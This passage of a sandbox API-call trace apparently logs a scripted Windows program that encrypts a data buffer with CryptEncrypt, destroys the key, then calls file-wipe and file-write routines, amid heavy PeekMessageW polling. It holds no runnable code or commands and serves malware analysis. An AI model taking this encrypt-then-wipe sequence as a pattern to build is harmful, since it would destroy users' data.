(in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.283] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.283] CryptGetKeyParam (in: hKey=0xe8f4062b10, dwParam=0x7, pbData=0xe8f4064c40, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c40*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.283] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.283] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.283] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.283] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.283] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.284] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.284] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.284] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5384, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5390) returned 1 [0029.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.285] CharLowerBuffW (in: lpsz="byte[21393]", cchLength=0xb | out: lpsz="byte[21393]") returned 0xb [0029.285] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.286] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.286] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.286] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.287] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.287] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0029.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417b000, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0029.288] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0029.288] CryptEncrypt (in: hKey=0xe8f4062b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4384750*, pdwDataLen=0xe8f3dfdf68*=0x5384, dwBufLen=0x5390 | out: pbData=0xe8f4384750*, pdwDataLen=0xe8f3dfdf68*=0x5390) returned 1 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.289] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.289] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.289] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.289] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.290] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.290] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.290] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.290] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.290] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.290] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0029.290] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.290] CryptDestroyKey (hKey=0xe8f4062b10) returned 1 [0029.290] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.290] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.290] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.290] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.290] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.291] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.291] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.291] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.291] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.291] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.291] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.291] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.291] CryptReleaseContext (hProv=0xe8f4199650, dwFlags=0x0) returned 1 [0029.291] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.292] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.292] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.292] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.292] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.292] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.292] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.293] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.293] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.293] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.293] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.293] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.293] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.293] CharLowerBuffW (in: lpsz="byte[21380]", cchLength=0xb | out: lpsz="byte[21380]") returned 0xb [0029.293] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.293] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.293] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.293] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.293] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.294] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.294] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.295] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.295] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 